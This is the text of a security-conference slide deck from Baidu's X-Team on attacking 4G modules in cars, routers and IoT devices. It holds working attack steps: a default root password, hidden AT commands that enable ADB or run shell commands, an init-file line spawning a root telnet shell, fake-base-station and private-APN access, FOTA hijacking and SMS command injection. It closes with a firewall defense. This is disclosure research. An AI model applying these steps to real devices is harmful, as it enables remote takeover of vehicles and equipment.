All the 4G Modules Could be Hacked
Who We Are
From Baidu Security Lab – X-Team

Gao Shupeng
IOT Security Researcher
Strong hands-on ability of hardware
And AI security, Penetration Testing
A former photographer

Huang Zheng
The head of Baidu Security Lab X-Team
Fighting against the Black Industry
Autonomous driving security
Contributed a lot of browser vulnerabilities

Xie Haikuo
IOT Security Researcher
Malware analysis, reverse engineering and fuzzing
Windows kernel vulnerabilities discover

Zhang Ye
IOT Security Researcher
Reverse engineering
Botnet analysis
Agenda

• An Introduction to 4G modules

• Attack Surfaces of 4G modules

• Attack Preparations

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
• An Introduction to 4G modules

• Attack Surfaces of 4G modules

• Attack Preparations

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
We Have Found

• Several general vulnerabilities (problems of the embedded Linux or RTOS system)
  • RCE in baseband chip A
  • DDOS in baseband chip B (caused kernel core exception)
  • Unlimited port accessing in baseband chip C
• Authentication risk in several V2X 5G modules
• RCE in 5+ cars’ T-Box (widely used)
• Vulnerabilities in all parts of 4G module

<table>
<thead>
<tr>
<th>Server side</th>
<th>Client side</th>
</tr>
</thead>
<tbody>
<tr>
<td>FOTA server / Cloud</td>
<td>System management service</td>
</tr>
<tr>
<td>Web Vulnerabilities</td>
<td>FOTA service</td>
</tr>
<tr>
<td></td>
<td>AT command</td>
</tr>
<tr>
<td></td>
<td>Secondary development service</td>
</tr>
</tbody>
</table>
• Not much prior efforts

• Shed lights on attack surfaces of 4G modules & inspire new hacking tricks
  • Car Hacking
    • RCE vulnerabilities found in vehicles with T-Box (4G module inside) from 5+ auto makers.
  • Baseband Hacking
    • Effective on various baseband chipsets from major vendors.
    • More debugging tool introduced
  • IOT Hacking
  • Universal Hacking
    • You will own the ability of controlling network traffic
• Devices with 4G modules
  • IOT devices (vending machines, 4G hotspot/router)
  • Industrial equipment (intelligent charging station)

• Reason for the need of 4G modules
  • Provide connectivity to the Internet / Internal Network
  • Connect to vendor cloud service for various purposes.
    (module upgrades / remote management ...)

Mini PCI-E

M.2

LCC

driverless car

4G WiFi hotspot/4G router

advertising machine

intelligent charging station

vending machine

laptop

in-vehicle infotainment system
YC vending machine
Mini PCI-E

Tesla Model S
LCC

Cinterion ALS3
LCC
Four-Faith Industrial
4G router
Mini PCI-E

DaTang 4G WiFi
One 4G chip for both 4G connection and router system
• Hardware Components
  • Main Chip
    • Baseband+ARM (In one chip, e.g.: Qualcomm MDM9x07 series)
  • Flash
    • NAND+DDR in one chip (Qualcomm)
    • NAND (Huawei HiSilicon / ZTE, DDR flash inside)
  • Others:
    • Power Management / RF / (WiFi / SD / Bluetooth / GPIOs)

• Software Components
  • OS
    • Embedded Linux System
    • RTOS (Marvell/ASR)
  • Baseband system
The Quectel EC20 4G module Internal structure

VC7912
Same as SKY77912
A Tx/Rx Front-End Module, support 234G

VC7645
Same as SKY77645
A Power Amplifier Module

PMD9607
Power Management IC

Mini PCI-E Interface

Antenna

WTR2965
RF Transceiver

Qualcomm MDM9607
CPU and Modem
Cortex A7 @1.3GHz
running Linux kernel
Snapdragon™ X5 LTE
(9x07) modem supports LTE Category 4

FM6BD1G1GMB
ESMT MCP
1Gbit NAND flash + 1Gbit DRAM
BGA162
How the 4G module works

<table>
<thead>
<tr>
<th>VID PID</th>
<th>interface</th>
<th>Dial mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x2949</td>
<td>RNDIS(00)</td>
<td>PPP/RNDIS/RMNET</td>
</tr>
<tr>
<td>0x8241</td>
<td>MODEM(02)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(03 NMEA)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(04 AT)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Diag(05)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RMNET(06)</td>
<td></td>
</tr>
<tr>
<td>0x2949</td>
<td>ECM(00)</td>
<td>PPP/ECM</td>
</tr>
<tr>
<td>0x8242</td>
<td>MODEM(02)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(03 NMEA)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(04 AT)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Diag(05)</td>
<td></td>
</tr>
<tr>
<td>0x2949</td>
<td>RMNET(00)</td>
<td>PPP/RMNET</td>
</tr>
<tr>
<td>0x8243</td>
<td>MODEM(01)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(02 NMEA)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(03 AT)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Diag(04)</td>
<td></td>
</tr>
<tr>
<td>0x2949</td>
<td>MODEM(00)</td>
<td>PPP/RMNET</td>
</tr>
<tr>
<td>0x8247</td>
<td>TTY(01 NMEA)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>TTY(02 AT)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Diag(03)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RMNET(04)</td>
<td></td>
</tr>
</tbody>
</table>

- Install the drivers
- OS chooses and loads the right driver via VID/PID/Interface
- Use AT command to set the APN / get the signal strength ... (if needed)
- OS creates the network card: usb0 / ppp0 / wwan / ....
- Get IP address (10.x or 192.168.x)
- Done
How the 4G module works

PPP / RMNET (Gobi Net)
Board get a Public Address

RNDIS / CDC-ECM / QMI WWAN
Board get a Private Address
The 4G module as a router
• An Introduction to 4G modules

• **Attack Surfaces of 4G modules**

• Attack Preparations

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
• LTE protocol is complex, including several releases
• Need to support 2/3/4G, Multi-Mode Multi-Band
• Support expanded AT command, e.g. HTTP / MQTT / FTP protocol....
• Support connection mode: PPP / CDC-ACM / CDC-ECM / RNDIS.....
• Support peripheral: WiFi / Bluetooth ....
• Support FOTA upgrade, remote or web management
• Support secondary development
• Full Linux system

• Most of them use RNDIS / ECM mode (means unique IP, routability)

• Conditions for attack
  • The Linux host has an IP address, which can be accessed directly
  • The Linux host listens on some ports, or connects to vendor Cloud services (for upgrade or remote management, etc.)

• So it becomes a Linux host which exposed on the Internet / Intranet
  • System Services / remote management(SSH Telnet ADB...) / OTA upgrade ....
• Wireless Cellular devices
  • Mis-configurations of operator network allow access to the Internal network
  • With 2G support, it is easy to control network traffic with a fake base station
    • Sniff
    • MITM
    • Access ports

• 3rd Party Customization
  • Except for system services, customized services added
  • Reverse Engineering
Thought Process While Attacking

• Before Exploit
  • get shell / analyze firmware / analyze network traffic, mine vulnerabilities

• Run Exploit
  • Traditional methods:
    • Under same Local Area Network: WiFi & wired network, access open port to run exploit
    • Gain access by using weak pass of WiFi hotspot / 8 digit pass...
  • New methods:
    • Mis-configurations of operator network, which makes large range remote attack become possible under the same LAN
    • 2G -- > Gain full control network traffic
      • Access open ports
      • Monitor / modify data (OTA / browser vulnerabilities)
    • Others, such as SMS controlling / Cloud problems
• Existing problems of GSM (2G)
  • Client can’t identify whether the station is real or not
  • All these modules support GSM
  • This situation will NOT be fixed
• Solve the problem of auto attach
  • Inspired by Pseudo Base Station in China
  • Increase cell reselection parameters C1&C2
• Not only sends SMS, also controls network traffic
  • Enable GPRS function
  • Hardcode C2 value
How to build

- Hardware: BladeRF
- Software: YateBTS (easy to build, set, code)
- Hardcode C2 to max, then compile

Remember: Testers have to obey the law. Using Electromagnetic shielding box is the best.
• Downgrade the module to 2G by jamming
• Devices with 4G modules attach to the fake station automatically
• Now we can
  • Monitor all the IP data transmission
  • Access the port, run the exploit
  • Modify the data
• **Goal:** Large-scale long-range attacks

• Operators often put the 4G clients in a LAN, and there is no network isolation!
  
  • 10.x.x.x or 172.x.x.x
  
  • Mis-configurations & Roaming
  
  • No FireWall in 4G modules

• **Result:** IP&port is accessible

• So we can **remotely** attack via ADB、telnet、web、ssh...
Private APN Introduction

- Devices are connected to a private network, invisible to the public internet
- The devices require special SIM card and APN point (Especially most car companies and well-known IOT equipment)
- Access to intranet resources directly via VPN in the air
- Special mode of the Operator Intranet

Private APN Attack Surfaces

- Disabled network isolation due to the need to access servers in the intranet.
- Same type of various devices make centralized attacks possible
• Special SIM card, APN settings
  • Many car companies / equipment use e-SIM
    • Same as SIM card
  • Special APN: Get from firmware / logs

```
AT+CICCID
AT+CGDCONT=6,"IPV4V6","zwz3333000000000000000000000000nju.njm2mapn"
AT+CAUTH=6,0
AT+CGDCONT=1,"IP","zwz3333000000000000000000000000nju.njm2mapn"
AT+CAUTH=1,0
```

• Connect to Private APN network, scan vulnerabilities
  • Install e-SIM to our 4G module
  • Set the APN by AT command / webpage config
• An Introduction to 4G modules

• Attack Surfaces of 4G modules

• **Attack Preparations**

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
Prior to the Attack

- Get Firmware / Rom
- Get Shell
- Get Data Transmission

At least 1 for a successful attack
Multiple Ways to Get Firmware

• Get the firmware-update program
  • Unpacking the program, and retrieve the file system

• Get the upgrade tools from vendor tech support
  • Like Qualcomm series, most of the modules have 9008 mode, which could restore all the system
  • The tools include all partitions

• Get a shell

• Last Resort: NAND Flash Dump
Unpack Firmware Upgrade Program

A packaged .exe file
the firmware-update program for one top seller 4G WiFi
At offset 0x127C172
a zip package

Unzip, then we get all the files of Linux system partition
• Qualcomm chipset modules have 9008 download mode
• Underlying system is writable
• Focus on system partition
• Partitions Retrieved
• Inspect system.img

• Retrieve Linux system files in UBIFS format
NAND Flash Dump is more complicated

- Different size
- Same pins
- BGA 63

NAND chip carrier socket
BGA 63 0.8mm

Through NAND Flash Dump

skip the bad blocks

the chip information

Important! Don’t read the Spare

Different size
Same pins
BGA 63
• Use **binwalk** to identify filesystem from the flash dump

• Cut the file from the right offset

• Mount the filesystem!
Ways to Get a shell

- Serial ports are mapped as debug ports / Linux console
  - USB interface / USB virtual serial / Special contact on circuit board
- Remember a widely used password
  - root / oelinux123
- Login directly without password
  - Some interface on Tesla (Already fixed)
- Open Services ADB / telnet / SSH...
  - Fast scan, like masscan
  - USB ADB
  - ADB on port 5555
  - telnet / ssh (week password or cracked password)
• Through hidden AT command
  • Enable ADB Service
    • Simcom 7600: AT+CUSBADB=1,1
    • Fibocom L718: AT+ADBDEBUG=1
  - Hidden system command execution
    • Quectel EC20: AT+QLINUXCMD="echo test > /dev/ttyGS0"
    • Command injection

• Last Resort: Hacking into the NAND Flash
  • Grab the NAND Flash Dump
  • Modify file system, add “/bin/busybox telnetd -l /bin/sh &” in init file
  • Re-attach the NAND Flash
Ways to Get Network Traffic

- Assume tcpdump capability
- Build a 4G base station
  - For researching, steady, convenient and fast
- Use srsLTE (install easily than OAI)
- Choose SDR devices:
  - USRP B200/B210/B200 mini
  - Bladerf x40 xa4
  - LimeSDR
- Write SIM card
  - Writeable LTE test card (Only for test)
  - SIM card reader
Write the sim card with our IMSI / KI / OP / OPC

Run the srsLTE base station system
• After Attack Preparations
  • Get shell (high probability, ADB shell)
  • Get file system (surely, NAND dump)
  • Get opened ports (surely, port scan)
  • Get connection between Cloud (surely, fake station)

• In case the above doesn’t work
  • In most cases, after installing the correct drivers and setting to the correct AT mode, use ADB (USB) could get a root shell
• An Introduction to 4G modules

• Attack Surfaces of 4G modules

• Attack Preparations

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
• System management service vulnerabilities
  • Port scan: masscan –p 1-65535 192.168.99.100 –rate=3000

```
MacOS masscan 192.168.199.1 -p 1-65000 --rate=3000
-- forced options: -sS -Pn --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65000 ports/host]
Discovered open port 8123/tcp on 192.168.199.1
Discovered open port 50001/tcp on 192.168.199.1
Discovered open port 53/tcp on 192.168.199.1
```

• Port view: netstat -tunlp

```
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address          Foreign Address         State      PID/Program name
tcp    0      0  127.0.0.1:5037            0.0.0.0:*          LISTEN      441/adbd
tcp    0      0  192.168.225.1:53         0.0.0.0:*          LISTEN      1122/dnsmasq
tcp    0      0  0.0.0.0:5565             0.0.0.0:*          LISTEN      441/adbd
tcp    0      0  fe80::7cd3:37ff:fe09:a800:53 0.0.0.0:*    LISTEN      1122/dnsmasq
tcp    0      0  ::ffff:23::              0.0.0.0:*          LISTEN      1122/dnsmasq
udp    0      0  192.168.225.1:53         0.0.0.0:*          LISTEN      1122/dnsmasq
udp    0      0  0.0.0.0:67               0.0.0.0:*          LISTEN      1122/dnsmasq
udp    0      0  fe80::7cd3:37ff:fe09:a800:53 0.0.0.0:*    LISTEN      1122/dnsmasq
```
Opened telnet service

- Search password file from flash dump, use **hashcat** to crack the password with GPU
• Opened remote ADB
  • We found many top seller modules open the remote ADB service by default.
  • Convenient for 3rd party customization

<table>
<thead>
<tr>
<th>Brand</th>
<th>ZTE / GOSUNCN</th>
<th>LONGSUN G</th>
<th>YUGE</th>
<th>NEOWAY</th>
<th>SIMCOM</th>
<th>..........</th>
</tr>
</thead>
<tbody>
<tr>
<td>model</td>
<td>ME3630</td>
<td>U9300</td>
<td>CLM920</td>
<td>N720</td>
<td>SIM7600</td>
<td>..........</td>
</tr>
<tr>
<td></td>
<td></td>
<td>U9507C</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>port</td>
<td>5555</td>
<td>5555</td>
<td>5555</td>
<td>5555</td>
<td>5565(need open by self, some OEM manufacturers open it)</td>
<td>..........</td>
</tr>
</tbody>
</table>

• Others
  • Web management with weak password
  • SSH with empty password
  • ..........
• A brand of car has an APP to remotely unlock the car and launch the engine.
• Buy the T-box from Auto Parts Shop.
• No USB ADB, no TCP ADB, no telnet, how to get a shell?
  • Firmware dump with NAND programmer.
  • With the network monitor methods, we obtain the traffic of the 18xx port and located the bin.
  • Reverse engineering, not much functionality, but including enable USB ADB
  • Successfully turned on USB ADB, and get shell.
  • Another process listens on port 24xx, has the "Active Telnetd" function!

```bash
if ( !sub_1c93c("telnetd", &v2) ) {
  exec((int)"killall telnetd", (int)"\w", 0);
  exec((int)"telnetd -p 1898 &", (int)"\w", 0);
}
```
• The function which dispatch the receive command
• Include open the telnet!

```c
unsigned int __fastcall sub_803554(unsigned int result)
{
    unsigned int w1; // r401
    char w2; // [sp+4h] [bp-14h]@3

    w1 = result;
    if (result <= 1 )
    {
        if (sub_1C93C("telnetd", &w2) )
        {
            if (exec((int)"killall telnetd", (int)"-w", 0);)
            {
                execl((int)"telnetd -p 1898 ":
            }
            if (sub_1A828("/etc/conf/ex_interface.conf", "TELNETD_IFEN", "1", 0);
                result = LogEx(1, 7);
            }
        }
        else if (result == 2 )
        {
            if (sub_1C93C("telnetd", &w2 == (DIR = 1 )
            {
                execl((int)"killall telnetd ";
            }
            else
            {
                result = LogEx(1, 7);
            }
        }
    }
    return result;
}
```
• The Keys
  • Encryptions are all AES-based or RSA-based
  • AES key is hard-coded in the binary
  • RSA private key is stored on the disk with password protected
  • But the password is hard-coded in the binary too. (Give it a guess?)

• So, Let’s write the exploit

• At last, we opened the telnet
• New problem:
  • The telnet needs passwd
  
  "telnetd -p 1898 &"

  • Crack the hash with Nvidia 2080Ti x 4 for a day

  • Finally get the root password:
    • Include uppercase\lowercase\numbers

  • Now we get the root shell

  • But how to control the car?

Ranged attack - control the CAN bus
The last question: How to exploit

- Do you remember the attack methods that I mentioned?
  - Use the fake base station
  - Use Operator Intranet / Private APN
  - Under the WiFi hotspot

- Each of them could control the CAN bus.

- For example:
  - Scan open ports on Private APN, and run exploits
  - Build Zombie cars (just like Furious 8)
• FOTA (Firmware Over-The-Air), a way to upgrade firmware.

• Some modules check latest version frequently (every 30 min)

• Reverse engineer the binary
  • Extract the hard-coded user & password
  • Log into FTP server with the credentials
  • Gain access to firmwares of various types of 4G modules (writable permission)

{ 
  printf("USER %s\r\n", awg005); FTP user name
  v9 = strlen((const char *)&v31);
  if ( send(v1, &v31, v9, 0x4000) > 0 & read(v1, &s, 0x4000) != -1 )
  {
    v10 = strlen("331");
    if ( !strcmp(&s, "331", v10) )
    { 
      printf("PASS %s\r\n", awg005); FTP password
      v11 = strlen((const char *)&v31);
      if ( send(v1, &v31, v11, 0x4000) > 0 & read(v1, &s, 0x4000) != -1 )
      {
        v12 = strlen("230");
        if ( !strncmp(&s, "230", v12) )
        {
          v13 = strlen("PASV:\r\n");
          if ( send(v1, "PASV:\r\n", v13, 0x4000) > 0 & read(v1, &s, 0x4000) != -1 )
        }
      }
    }
  }
We can hack all the 4G modules again!

- No verification of the firmware
- Update the firmware with one that has the backdoor
- So, we can hack all the modules of this brand in a day!
• Some client modules listening on a TCP/UDP port for upgrade command
  • The listening port is used for Interprocess Communication originally
  • But it’s bound on UDP 0.0.0.0:45xxx instead of 127.0.0.1:45xxx (our chance!)
  • Reverse engineer the binary
After decrypt, the port receive a json, and get the OTA file through FTP.

The process need to check the FOTA package first, with right structure.

So we have reversed them.

Now we can run our exploit:
- Update any file (init.rc....)
- Use Private APN
- Use fake base station

```json
{"id": "868221043956591", "content": "", "msg": "upgradeNeed", "file": "abc", "account": "test", "password": "aaaaaa", "ftpHost": "67.218.131.xxx:6666"}
```
• Each module has its own AT command processing process to implement custom commands.
• Example
  • Connect mqtt : AT+CMQTTCONNECT
  • Send http : AT+CHTTPSSEND
Hidden AT commands, which can open ADB or execute the shell (mentioned earlier).
No string filter, which will cause Command injection.
Use AT command vulnerability to get a remote shell

• Some modules use SMS to send AT command
  • Easily remote management

• If
  • we could find an AT command injection vulnerability
  • Use fake base station to send SMS
  • Or known the No. of SIM card

• It will be hacked, again.
• To send AT command with SMS, need a password
  • After reversed, we found the default was hard-coded, too.
  • Most of the time, users don’t change it

• When we send “adminat+ver;”, we get the result:
Let’s find the dispatch function

```c
while (!sub_15634(v1, v8))
{
    ++v10;
    v14 = *(const char **)(v9 + 12);
    v9 += 12;
    v8 = v14;
    if ( !v14 )
        goto LABEL_26;
}

v13 = (v9 - v10) + 3 + v10;
if ( v13 )
{
    printf("FIND AT\r\n");
    sub_1C058(6, "FIND AT\r\n");
    memset(&unk_6256C, 0, 0x400u);
    v20 = sub_1575C(v1);
    v19 = sub_1581C(v1);
    v15 = strchr(v1, '=');
    if ( v15 )
        v18 = v15 + 1;
    else
        v18 = 0;
    v13(v18);
    v16 = strlen(v1);
    result = printf("uart order ---4 ---%d,%s\r\n", v16, v1);
} else
;
```
• Go deep of the map function, try to find which AT command call the danger functions, such as system()
• Variable is string type, and can be controlled such as %s
• At last, we find the AT+SETFCSN has a command injection
• After sending SMS, we can call system()
• Through the Browser
  • Older version of Chrome is found on IVI of some well-known automakers’
  • Search CVEs of the target version, and write out the exploit, get shell after access the evil page
  • Get control the network traffic & get a shell of IVI by using a fake station

• Through IPV6
  • The Operator / 4G modules / Devices support IPV6
  • More services listen on :::port instead of 0:0:0:0:port, SSH / Apache / Telnet....
  • But ip6tables is not used, iptables has no effect.

• Through weak password of 4G wifi which uses 8 digit password
  • Use Deauth to get the handshake package, then crack the password with 2080Ti X 4 within 50 seconds
  • Upload the firmware with the backdoor
• An Introduction to 4G modules

• Attack Surfaces of 4G modules

• Attack Preparations

• Vulnerabilities Found and Exploitation

• Suggested Defense Practice
• Get aware of the vulnerabilities in hidden attack surfaces
  • Identify whether there is a Linux system inside. (especially for some Auto Manufacturers)
  • Look for services/processes listening on open ports
  • Be aware of the easy access from the 4G interfaces
  • Empty iptables rules in most modules

• FireWall!
  • Apply this rule:
    • `iptables -A INPUT -i rmnet_data0 -j DROP` (replace the interface name if not Qualcomm)
    • Don’t forget ip6tables if support IPV6.
  • Then 90% of the vulnerabilities could be defended
Who We Are
From Baidu Security Lab – X-Team

Gao Shupeng
IOT Security Researcher
Strong hands-on ability of hardware
And AI security, Penetration Testing
A former photographer

Huang Zheng
The head of Baidu Security Lab X-Team
Fighting against the Black Industry
Autonomous driving security
Contributed a lot of browser vulnerabilities

Xie Haikuo
IOT Security Researcher
Malware analysis, reverse engineering and fuzzing
Windows kernel vulnerabilities discover

Zhang Ye
IOT Security Researcher
Reverse engineering
Botnet analysis
End
gaoshupeng@baidu.com